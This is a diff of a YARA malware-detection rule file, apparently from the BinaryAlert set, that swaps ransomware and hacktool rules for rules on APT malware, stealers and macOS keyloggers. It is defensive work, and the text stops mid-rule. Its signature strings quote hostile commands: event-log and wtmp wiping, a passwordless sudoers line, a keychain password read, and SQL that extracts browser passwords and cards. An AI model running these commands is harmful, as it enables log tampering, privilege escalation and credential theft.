"https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_1.yara#L1-L18" + description = "Red Leaves malware, related to APT10" + author = "David Cannings" + id = "e0067b05-eb4a-52ec-8f35-9336a631f03b" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Red%20Leaves/Source/Red%20Leaves%20technical%20note%20v1.0.md" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_red_leaves_generic.yara#L1-L27" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "71b6a493388e7d0b40c83ce903bc6b04" - logic_hash = "3733834ee2271a483739b09c4222d222aa4899cab48fd8fc558bdbd9a66bf2d6" + hash = "81df89d6fa0b26cadd4e50ef5350f341" + logic_hash = "be03bba9d01e6584b5849514656fd7de866c478f343c0bc618d7dbeda1771696" score = 75 quality = 80 tags = "" strings: - $s1 = "Ooops, your important files are encrypted." fullword ascii wide - $s2 = "Send your Bitcoin wallet ID and personal installation key to e-mail" fullword ascii wide - $s3 = "wowsmith123456@posteo.net. Your personal installation key:" fullword ascii wide - $s4 = "Send $300 worth of Bitcoin to following address:" fullword ascii wide - $s5 = "have been encrypted. Perhaps you are busy looking for a way to recover your" fullword ascii wide - $s6 = "need to do is submit the payment and purchase the decryption key." fullword ascii wide + $a1 = "Feb 04 2015" + $a2 = "I can not start %s" + $a3 = "dwConnectPort" fullword + $a4 = "dwRemoteLanPort" fullword + $a5 = "strRemoteLanAddress" fullword + $a6 = "strLocalConnectIp" fullword + $a7 = "\\\\.\\pipe\\NamePipe_MoreWindows" wide + $a8 = "RedLeavesCMDSimulatorMutex" wide + $a9 = "(NT %d.%d Build %d)" wide + $a10 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)" wide + $a11 = "red_autumnal_leaves_dllmain.dll" wide ascii + $a12 = "__data" wide + $a13 = "__serial" wide + $a14 = "__upt" wide + $a15 = "__msgid" wide condition: - any of them + 7 of ( $a* ) } -rule BINARYALERT_Ransomware_Windows_Petya_Variant_3 +rule BINARYALERT_Malware_Windows_Apt_Whitebear_Binary_Loader_3 { meta: - description = "Petya Ransomware new variant June 2017 using ETERNALBLUE" + description = "The WhiteBear loader contains a set of messaging and injection components that support continued presence on victim hosts" author = "@fusionrace" - id = "cbf06e62-abe8-54af-b4f4-624ba9233e4b" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/ransomware/windows/ransomware_windows_petya_variant_3.yara#L1-L13" + id = "bdcc0c30-3aa7-5c92-8205-9b360d10ac59" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://securelist.com/introducing-whitebear/81638/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_apt_whitebear_binary_loader_3.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - hash = "71b6a493388e7d0b40c83ce903bc6b04" - logic_hash = "4f21b394eb2dd0ebf416b018f438934fdc89cb896701d95b593477fc19abfe48" + hash = "b099b82acb860d9a9a571515024b35f0" + logic_hash = "955aad2d72407baa7fb71e04b51557649a6f91633f5bdb1a8792e328a1587d23" score = 75 quality = 80 tags = "" strings: - $s1 = "wevtutil cl Setup & wevtutil cl System" fullword wide - $s2 = "fsutil usn deletejournal /D %c:" fullword wide + $c1 = "{531511FA-190D-5D85-8A4A-279F2F592CC7}" wide ascii + $c2 = "IsLoaderAlreadyWork" wide ascii + $c3 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%03x%01x-%01x" wide ascii + $c4 = "\\\\.\\pipe\\Winsock2\\CatalogChangeListener-%02x%02x-%01x" wide ascii condition: - any of them + all of ( $c* ) } -rule BINARYALERT_Hacktool_Multi_Masscan +rule BINARYALERT_Malware_Windows_Moonlightmaze_Loki { meta: - description = "masscan is a performant port scanner, it produces results similar to nmap" - author = "@mimeframe" - id = "adb2bb07-2a1a-5eb5-8049-b3f8e6cba48a" + description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings" + author = "Kaspersky Lab" + id = "06eeb6a4-540f-51eb-86f9-4ab49543f645" date = "2017-08-11" modified = "2017-08-11" - reference = "https://github.com/robertdavidgraham/masscan" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_masscan.yara#L1-L17" + reference = "https://en.wikipedia.org/wiki/Moonlight_Maze" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_loki.yara#L1-L27" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "b35e481f73b1c1722056157f8348e2e06bb109c094b948fc6be2d9a7df070a7f" + logic_hash = "9a403695ded6ff3626820ba0d4abde7ccd6f3fa6bfd8aa4ceaf0cc009d34c97f" score = 75 quality = 80 tags = "" + md5_1 = "14cce7e641d308c3a177a8abb5457019" + md5_2 = "a3164d2bbc45fb1eef5fde7eb8b245ea" + md5_3 = "dabee9a7ea0ddaf900ef1e3e166ffe8a" + md5_4 = "1980958afffb6a9d5a6c73fc1e2795c2" + md5_5 = "e59f92aadb6505f29a9f368ab803082e" strings: - $a1 = "EHLO masscan" fullword wide ascii - $a2 = "User-Agent: masscan/" wide ascii - $a3 = "/etc/masscan/masscan.conf" fullword wide ascii - $b1 = "nmap(%s): unsupported. This code will never do DNS lookups." wide ascii - $b2 = "nmap(%s): unsupported, we do timing WAY different than nmap" wide ascii - $b3 = "[hint] I've got some local priv escalation 0days that might work" wide ascii - $b4 = "[hint] VMware on Macintosh doesn't support masscan" wide ascii + $a1 = "Write file Ok..." ascii wide + $a2 = "ERROR: Can not open socket...." ascii wide + $a3 = "Error in parametrs:" ascii wide + $a4 = "Usage: @ " ascii wide + $a5 = "ERROR: Not connect..." ascii wide + $a6 = "Connect successful...." ascii wide + $a7 = "clnt <%d> rqstd n ll kll" ascii wide + $a8 = "clnt <%d> rqstd swap" ascii wide + $a9 = "cld nt sgnl prcs grp" ascii wide + $a10 = "cld nt sgnl prnt" ascii wide + $a11 = "ork error" ascii fullword condition: - all of ( $a* ) or any of ( $b* ) + 2 of ( $a* ) } -rule BINARYALERT_Hacktool_Multi_Jtesta_Ssh_Mitm +rule BINARYALERT_Malware_Windows_T3Ntman_Crunchrat { meta: - description = "intercepts ssh connections to capture credentials" - author = "@fusionrace" - id = "fa8362e2-83d3-5830-8952-502684ad66f9" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/jtesta/ssh-mitm" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_jtesta_ssh_mitm.yara#L1-L12" + description = "HTTPS-based Remote Administration Tool (RAT)" + author = "@mimeframe" + id = "c5b0d183-8822-505a-a1ff-7d6f75a3f174" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/t3ntman/CrunchRAT" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_t3ntman_crunchrat.yara#L1-L19" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "1d19c83f7d648a0d30074debcd76ff0faf72afa6722251661f8640abdc12a2a9" - score = 50 + logic_hash = "b5216b2b30d22f3d3848e1fb6e4245c558366fb8cd35b70f10fa4e605e211204" + score = 75 quality = 80 tags = "" strings: - $a1 = "INTERCEPTED PASSWORD:" wide ascii - $a2 = "more sshbuf problems." wide ascii + $a1 = "command" wide ascii + $a2 = "upload" wide ascii + $a3 = "download" wide ascii + $a4 = "cmd.exe" wide ascii + $a5 = "application/x-www-form-urlencoded" wide ascii + $a6 = "&action=" wide ascii + $a7 = "&secondary=" wide ascii + $a8 = "" wide ascii + $a9 = "" wide ascii condition: all of ( $a* ) } -rule BINARYALERT_Hacktool_Multi_Ncc_ABPTTS +rule BINARYALERT_Malware_Windows_Moonlightmaze_U_Logcleaner : FILE { meta: - description = "Allows for TCP tunneling over HTTP" - author = "@mimeframe" - id = "dd5f6316-9e51-5cc8-b293-dc33b09cc801" + description = "Rule to detect log cleaners based on utclean.c" + author = "Kaspersky Lab" + id = "2dc1b796-c8fe-5a87-9d6b-3a322f4a43ab" date = "2017-08-11" modified = "2017-08-11" - reference = "https://github.com/nccgroup/ABPTTS" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ncc_ABPTTS.yara#L1-L19" + reference = "http://cd.textfiles.com/cuteskunk/Unix-Hacking-Exploits/utclean.c" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_moonlightmaze_u_logcleaner.yara#L3-L18" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "09874b1d997ac193ad1afa0226f6fb22836c8720c0599d773b18072b92a3acc4" + logic_hash = "65fe29075294dfad06f4cca631d5d2f1283c439e9a5913f503fe6e4bb1f5f70a" score = 75 quality = 80 - tags = "" + tags = "FILE" + md5_1 = "d98796dcda1443a37b124dbdc041fe3b" + md5_2 = "73a518f0a73ab77033121d4191172820" strings: - $s1 = "---===[[[ A Black Path Toward The Sun ]]]===---" ascii wide - $s2 = "https://vulnerableserver/EStatus/" ascii wide - $s3 = "Error: no ABPTTS forwarding URL was specified. This utility will now exit." ascii wide - $s4 = "tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq" fullword ascii wide - $s5 = "63688c4f211155c76f2948ba21ebaf83" fullword ascii wide - $s6 = "ABPTTSClient-log.txt" fullword ascii wide + $a1 = "Hiding complit...n" + $a2 = "usage: %s [hostname]" + $a3 = "ls -la %s* ; /bin/cp ./wtmp.tmp %s; rm ./wtmp.tmp" condition: - any of them + ( uint32( 0 ) == 0x464c457f ) and ( any of them ) } -rule BINARYALERT_Hacktool_Multi_Responder_Py +rule BINARYALERT_Malware_Windows_Pony_Stealer { meta: - description = "Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server" - author = "@fusionrace" - id = "82699a67-8ba1-5535-9183-3c857e60134c" + description = "Pony stealer malware" + author = "@mimeframe" + id = "77af81cb-36c7-56a7-bd89-14d79628e5c4" date = "2017-08-11" modified = "2017-08-11" - reference = "http://www.c0d3xpl0it.com/2017/02/compromising-domain-admin-in-internal-pentest.html" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_responder_py.yara#L1-L17" + reference = "https://www.knowbe4.com/pony-stealer" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/windows/malware_windows_pony_stealer.yara#L1-L21" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "a99a806b7c578af1f2163583f957db13fa7269c7426666189d85bec2ac87ad4b" + hash = "5e52ce394c3be2a685dbb8f435e2f64f" + logic_hash = "4d4e28e0d4d97412a9129a4abfadc130a464a2ababf46ca8f366a2a30b262261" score = 75 - quality = 80 + quality = 50 tags = "" strings: - $s1 = "Poison all requests with another IP address than Responder's one." fullword ascii wide - $s2 = "Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned." fullword ascii wide - $s3 = "Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network." fullword ascii wide - $s4 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide - $s5 = "Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)" fullword ascii wide - $s6 = "31mOSX detected, -i mandatory option is missing" fullword ascii wide - $s7 = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query." fullword ascii wide + $a1 = "signons.sqlite" nocase wide ascii + $a2 = "signons.txt" nocase wide ascii + $a3 = "signons2.txt" nocase wide ascii + $a4 = "signons3.txt" nocase wide ascii + $a5 = "WininetCacheCredentials" nocase wide ascii + $a6 = "moz_logins" nocase wide ascii + $a7 = "encryptedPassword" nocase wide ascii + $a8 = "FlashFXP" nocase wide ascii + $a9 = "BulletProof" nocase wide ascii + $a10 = "CuteFTP" nocase wide ascii condition: - any of them + all of ( $a* ) } -rule BINARYALERT_Hacktool_Multi_Ntlmrelayx +rule BINARYALERT_Hacktool_Macos_Keylogger_Caseyscarborough { meta: - description = "No description has been set in the source file - BinaryAlert" + description = "A simple and easy to use keylogger for macOS." author = "@mimeframe" - id = "7e0bc28f-9cb7-5c09-aedc-d95af23454aa" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ntlmrelayx.yara#L1-L15" + id = "82d9ff7e-b475-5888-82e1-f65c286a9cde" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/caseyscarborough/keylogger" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_caseyscarborough.yara#L1-L14" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "0d5d2d38866eb243e1803c456944e887d9d3920c54b15fd658bf90831fd87bfa" + logic_hash = "d97fbfefe027a26ec998743b811734e62423e8a5ba4e11d516dcfc9e4831d296" score = 75 quality = 80 tags = "" strings: - $a1 = "Started interactive SMB client shell via TCP" wide ascii - $a2 = "Service Installed.. CONNECT!" wide ascii - $a3 = "Done dumping SAM hashes for host:" wide ascii - $a4 = "DA already added. Refusing to add another" wide ascii - $a5 = "Domain info dumped into lootdir!" wide ascii + $a1 = "/var/log/keystroke.log" wide ascii + $a2 = "ERROR: Unable to create event tap." wide ascii + $a3 = "Keylogging has begun." wide ascii + $a4 = "ERROR: Unable to open log file. Ensure that you have the proper permissions." wide ascii condition: - any of ( $a* ) + 2 of ( $a* ) } -rule BINARYALERT_Hacktool_Multi_Bloodhound_Owned +rule BINARYALERT_Hacktool_Macos_N0Fate_Chainbreaker { meta: - description = "Bloodhound: Custom queries to document a compromise, find collateral spread of owned nodes, and visualize deltas in privilege gains" - author = "@fusionrace" - id = "4d458339-6589-5094-8c23-1ad2baee19f1" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/porterhau5/BloodHound-Owned/" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_bloodhound_owned.yara#L1-L20" + description = "chainbreaker can extract user credential in a Keychain file with Master Key or user password in forensically sound manner." + author = "@mimeframe" + id = "565d31c6-8d80-534d-8acc-c01d7af4f8b3" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/n0fate/chainbreaker" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_n0fate_chainbreaker.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "01ef15a3cd606c46dacb0f22477fe97f94e212a38af1cd5bdd7eb11efe8144dd" + logic_hash = "7aedf952756ed2375ff171329179f14a8cdc37ada69e1f003def1f1de5bc1691" score = 75 quality = 80 tags = "" strings: - $s1 = "Find all owned Domain Admins" fullword ascii wide - $s2 = "Find Shortest Path from owned node to Domain Admins" fullword ascii wide - $s3 = "List all directly owned nodes" fullword ascii wide - $s4 = "Set owned and wave properties for a node" fullword ascii wide - $s5 = "Find spread of compromise for owned nodes in wave" fullword ascii wide - $s6 = "Show clusters of password reuse" fullword ascii wide - $s7 = "Something went wrong when creating SharesPasswordWith relationship" fullword ascii wide - $s8 = "reference doc of custom Cypher queries for BloodHound" fullword ascii wide - $s9 = "Created SharesPasswordWith relationship between" fullword ascii wide - $s10 = "Skipping finding spread of compromise due to" fullword ascii wide + $a1 = "[!] Private Key Table is not available" wide ascii + $a2 = "[!] Public Key Table is not available" wide ascii + $a3 = "[-] Decrypted Private Key" wide ascii condition: - any of them + all of ( $a* ) } -rule BINARYALERT_Hacktool_Multi_Pyrasite_Py +rule BINARYALERT_Hacktool_Macos_Keylogger_Dannvix { meta: - description = "A tool for injecting arbitrary code into running Python processes." - author = "@fusionrace" - id = "0acd0044-a41c-5e9e-bb94-301cd704cf9d" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/lmacken/pyrasite" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_pyrasite_py.yara#L1-L24" + description = "A simple keylogger for macOS." + author = "@mimeframe" + id = "598d6dbc-540d-5f96-8bd1-c15e6194012e" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/dannvix/keylogger-osx" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_dannvix.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "7f3f3df5bd5c1bee2d85ff97878ad36223ab743926a5f8f1c079b039f724abc9" + logic_hash = "95d0540b1308caf3e7287c70a759954650220192800c0154d225bcb01ed55766" score = 75 quality = 80 tags = "" strings: - $s1 = "WARNING: ptrace is disabled. Injection will not work." fullword ascii wide - $s2 = "A payload that connects to a given host:port and receives commands" fullword ascii wide - $s3 = "A reverse Python connection payload." fullword ascii wide - $s4 = "pyrasite - inject code into a running python process" fullword ascii wide - $s5 = "The ID of the process to inject code into" fullword ascii wide - $s6 = "This file is part of pyrasite." fullword ascii wide - $s7 = "https://github.com/lmacken/pyrasite" fullword ascii wide - $s8 = "Setup a communication socket with the process by injecting" fullword ascii wide - $s9 = "a reverse subshell and having it connect back to us." fullword ascii wide - $s10 = "Write out a reverse python connection payload with a custom port" fullword ascii wide - $s11 = "Wait for the injected payload to connect back to us" fullword ascii wide - $s12 = "PyrasiteIPC" fullword ascii wide - $s13 = "A reverse Python shell that behaves like Python interactive interpreter." fullword ascii wide - $s14 = "pyrasite cannot establish reverse" fullword ascii wide + $a1 = "/var/log/keystroke.log" wide ascii + $a2 = "" wide ascii + $a3 = "" wide ascii condition: - any of them + all of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Wmi_Implant +rule BINARYALERT_Hacktool_Macos_Manwhoami_Osxchromedecrypt { meta: - description = "A PowerShell based tool that is designed to act like a RAT" - author = "@fusionrace" - id = "cd90ef31-6e15-5518-8278-98e99e379916" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_wmi_implant.yara#L1-L21" + description = "Decrypt Google Chrome / Chromium passwords and credit cards on macOS / OS X." + author = "@mimeframe" + id = "874cc999-d9c2-5017-83ec-e4be8a659476" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/manwhoami/OSXChromeDecrypt" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_osxchromedecrypt.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "8b02fd265b04b9675a99b9638fdd179c8a86ed3afd7506195f3d3dcb2417d74d" + logic_hash = "0974c6a5e7875e20380df0f58bf22a589b9a5c718e635ec77b42060abcf99473" score = 75 quality = 80 tags = "" strings: - $s1 = "This really isn't applicable unless you are using WMImplant interactively." fullword ascii wide - $s2 = "What command do you want to run on the remote system? >" fullword ascii wide - $s3 = "Do you want to [create] or [delete] a string registry value? >" fullword ascii wide - $s4 = "Do you want to run a WMImplant against a list of computers from a file? [yes] or [no] >" fullword ascii wide - $s5 = "What is the name of the service you are targeting? >" fullword ascii wide - $s6 = "This function enables the user to upload or download files to/from the attacking machine to/from the targeted machine" fullword ascii wide - $s7 = "gen_cli - Generate the CLI command to execute a command via WMImplant" fullword ascii wide - $s8 = "exit - Exit WMImplant" fullword ascii wide - $s9 = "Lateral Movement Facilitation" fullword ascii wide - $s10 = "vacant_system - Determine if a user is away from the system." fullword ascii wide - $s11 = "Please provide the ProcessID or ProcessName flag to specify the process to kill!" fullword ascii wide + $a1 = "Credit Cards for Chrome Profile" wide ascii + $a2 = "Passwords for Chrome Profile" wide ascii + $a3 = "Unknown Card Issuer" wide ascii + $a4 = "ERROR getting Chrome Safe Storage Key" wide ascii + $b1 = "select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards" wide ascii + $b2 = "select username_value, password_value, origin_url, submit_element from logins" wide ascii condition: - any of them + 3 of ( $a* ) or all of ( $b* ) } -rule BINARYALERT_Hacktool_Windows_Mimikatz_Sekurlsa +rule BINARYALERT_Hacktool_Macos_Keylogger_Skreweverything_Swift { meta: - description = "Mimikatz credential dump tool" - author = "@fusionrace" - id = "08fe62c5-f7a4-5985-a298-1d3c2c1744d4" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/gentilkiwi/mimikatz" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_sekurlsa.yara#L1-L18" + description = "It is a simple and easy to use keylogger for macOS written in Swift." + author = "@mimeframe" + id = "a4918bc3-d3f0-59f4-894f-fd34ee944fac" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/SkrewEverything/Swift-Keylogger" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_skreweverything_swift.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "24e958c3cbda8e01dc2d84b3059114ea23f4b38db1676f7b72e5eabfa52b7335" + logic_hash = "f400b8ec392417e7443e82a2c2a9adfc868b9795aa1fb29f91d228f6f94efd13" score = 75 quality = 80 tags = "" - SHA256_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669" - SHA256_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c" strings: - $s1 = "dpapisrv!g_MasterKeyCacheList" fullword ascii wide - $s2 = "lsasrv!g_MasterKeyCacheList" fullword ascii wide - $s3 = "!SspCredentialList" ascii wide - $s4 = "livessp!LiveGlobalLogonSessionList" fullword ascii wide - $s5 = "wdigest!l_LogSessList" fullword ascii wide - $s6 = "tspkg!TSGlobalCredTable" fullword ascii wide + $a1 = "Can't create directories!" wide ascii + $a2 = "Can't create manager" wide ascii + $a3 = "Can't open HID!" wide ascii + $a4 = "PRINTSCREEN" wide ascii + $a5 = "LEFTARROW" wide ascii condition: - all of them + 4 of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Rdp_Cmd_Delivery +rule BINARYALERT_Hacktool_Macos_Manwhoami_Mmetokendecrypt { meta: - description = "Delivers a text payload via RDP (rubber ducky)" - author = "@fusionrace" - id = "8d035721-34ee-566f-8851-1c9501de2704" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/nopernik/mytools/blob/master/rdp-cmd-delivery.sh" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_rdp_cmd_delivery.yara#L1-L14" + description = "This program decrypts / extracts all authorization tokens on macOS / OS X / OSX." + author = "@mimeframe" + id = "2dc01ff3-4c4a-548d-b2f0-b36897ad6a5c" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/manwhoami/MMeTokenDecrypt" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_manwhoami_mmetokendecrypt.yara#L1-L15" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "98bc02bb651fba069828b5960ee47542828f0d530e5e280b15abb0573b8e0168" + logic_hash = "ccfedfbff0c6eefe41e80fe488d4cae928a33e7b86019c6ec54d1c9005b35147" score = 75 quality = 80 tags = "" strings: - $s1 = "Usage: rdp-cmd-delivery.sh OPTIONS" ascii wide - $s2 = "[--tofile 'c:\\test.txt' local.ps1 #will copy contents of local.ps1 to c:\\test.txt" ascii wide - $s3 = "-cmdfile local.bat #will execute everything from local.bat" ascii wide - $s4 = "To deliver powershell payload, use '--cmdfile script.ps1' but inside powershell console" ascii wide + $a1 = "security find-generic-password -ws 'iCloud'" wide ascii + $a2 = "ERROR getting iCloud Decryption Key" wide ascii + $a3 = "Could not find MMeTokenFile. You can specify the file manually." wide ascii + $a4 = "Decrypting token plist ->" wide ascii + $a5 = "Successfully decrypted token plist!" wide ascii condition: - any of them + 3 of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Hot_Potato +rule BINARYALERT_Hacktool_Macos_Exploit_Cve_5889 { meta: description = "No description has been set in the source file - BinaryAlert" author = "@mimeframe" - id = "dee13640-b4a9-5a39-af01-338c0197c995" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/foxglovesec/Potato" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_hot_potato.yara#L1-L15" + id = "ea70d31c-1b70-5927-ba8d-e13d2114e74e" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://www.exploit-db.com/exploits/38371/" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_cve_2015_5889.yara#L1-L16" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "1ccee61660b3478294a5a4e1ca2b16c91156f6c877d0f83848cccd18a3f753f7" + logic_hash = "b455759ea369cdcf2f05a2735a38000179ebe644667016cd635dfad9beda4459" score = 75 quality = 80 tags = "" strings: - $a1 = "Parsing initial NTLM auth..." wide ascii - $a2 = "Got PROPFIND for /test..." wide ascii - $a3 = "Starting NBNS spoofer..." wide ascii - $a4 = "Exhausting UDP source ports so DNS lookups will fail..." wide ascii - $a5 = "Usage: potato.exe -ip" wide ascii + $a1 = "/etc/sudoers" fullword wide ascii + $a2 = "/etc/crontab" fullword wide ascii + $a3 = "* * * * * root echo" wide ascii + $a4 = "ALL ALL=(ALL) NOPASSWD: ALL" wide ascii + $a5 = "/usr/bin/rsh" fullword wide ascii + $a6 = "localhost" fullword wide ascii condition: - any of ( $a* ) + all of ( $a* ) } -rule BINARYALERT_Hacktool_Windows_Ncc_Wmicmd +rule BINARYALERT_Hacktool_Macos_Keylogger_Eldeveloper_Keystats { meta: - description = "Command shell wrapper for WMI" + description = "A simple keylogger for macOS." author = "@mimeframe" - id = "18bc36f7-b97a-5bce-a68b-c349713e9468" - date = "2017-08-11" - modified = "2017-08-11" - reference = "https://github.com/nccgroup/WMIcmd" - source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_ncc_wmicmd.yara#L1-L18" + id = "7fddb502-ae2d-5e14-95f5-115498fa5926" + date = "2017-09-12" + modified = "2017-09-12" + reference = "https://github.com/ElDeveloper/keystats" + source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_eldeveloper_keystats.yara#L1-L13" license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE" - logic_hash = "bef6828a706dcfc3b573523fccd391a5ef3fa505235b1621a82527d64d32aaf0" + logic_hash = "c73f5ca2ba0a1bde7c1f9b96173938e40511e12f875c4d850d6d498c63e89385" score = 75 quality = 80 tags = "" strings: - $a1 = "Need to specify a username, domain and 